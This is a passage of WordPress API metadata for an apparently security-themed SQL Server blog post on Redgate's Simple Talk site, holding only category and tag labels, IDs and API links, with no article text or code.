defenders.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":112688,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[143514,143523,53,143530,46,143524],"tags":[4168,4170,4619,5765,4150,4151],"coauthors":[6809],"class_list":["post-112672","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-data-privacy-and-protection","category-databases","category-featured","category-security","category-data-security-privacy-compliance","category-sql-server","tag-database","tag-database-administration","tag-security","tag-security-and-compliance","tag-sql","tag-sql-server"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/112672","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=112672"}],"version-history":[{"count":14,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/112672\/revisions"}],"predecessor-version":[{"id":112895,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/112672\/revisions\/112895"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/112688"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=112672"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=112672"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=112672"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=112672"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}